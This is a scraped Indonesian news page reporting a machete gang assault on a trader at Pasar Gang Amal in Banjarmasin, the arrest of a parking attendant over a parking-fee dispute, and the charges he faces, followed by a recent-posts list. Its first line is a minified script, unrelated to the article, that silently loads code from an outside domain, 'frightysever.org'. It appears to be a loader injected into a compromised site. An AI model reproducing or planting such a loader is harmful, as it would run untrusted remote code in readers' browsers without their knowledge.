(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Pengeroyokan di Belitung Darat, Seorang Jukir Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa pengeroyokan membuat geger warga sekitar Pasar Gang Amal, Jalan Belitung Darat, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Senin (11/3/2024) malam.

Malam pertama bulan Ramadan itu seorang pedagang bernama Baida (50) mengalami luka serius karena dikeroyok oleh empat orang.

Salah satu pelaku adalah AJ (29), seorang juru parkir (jukir) ditangkap tak lama setelah ia ikut melakukan pengeroyokan.

Berdasarkan keterangan Kapolsek Banjarmasin Barat Kompol Arie Munandar melalui Kanit Reskrim Iptu Firuza Bahri, peristiwa pengeroyokan itu dilakukan oleh empat lelaki berinisial AJ, A, Y, dan I sekitar pukul 22.15 Wita.

Berdasarkan keterangan pelapor pada Senin (11/3/2024) malam, Baida yang saat itu berjualan di Jalan Belitung Darat tepatnya di depan Pasar Gang Amal dikeroyok empat orang menggunakan senjata tajam dan tangan kosong.

Baca juga: Balap Liar Depan Balai Kota, Belasan Pot Bunga Hancur Ditabrak

Akibatnya Baida mengalami luka pada bagian tangan dan harus mendapatkan penanganan medis di Rumah Sakit (RS) Suaka Insan Banjarmasin.

Setelah melakukan pengeroyokan, pelaku AJ berhasil diamankan oleh petugas Satreskrim Polresta Banjarmasin. Sementara tiga orang pelaku lainnya A, Y, dan I melarikan diri dan saat ini masih proses pencarian.

Saat penangkapan, polisi menyita barang bukti sebilah parang yang digunakan AJ untuk melukai Baida.

Hasil penyelidikan dan keterangan saksi, motif pengeroyokan dilatarbelakangi masalah uang parkir.

Baca juga: Kediaman Sule Kedatangan Tyas Mirasih, Hanya di “Cari Berkah” BTV!

“Pelaku AJ dan barang bukti tersebut sudah diamankan ke Mapolsek Banjarmasin Barat untuk proses hukum lebih lanjut,” kata Kanit Reskrim.

Juru parkir tersebut kini berhadapan dengan jeratan hukum Pasal 170 ayat (2) Jo Pasal 56 KUHP karena melakukan kekerasan secara bersama-sama. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

2 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

4 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

6 jam ago

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

19 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

20 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

21 jam ago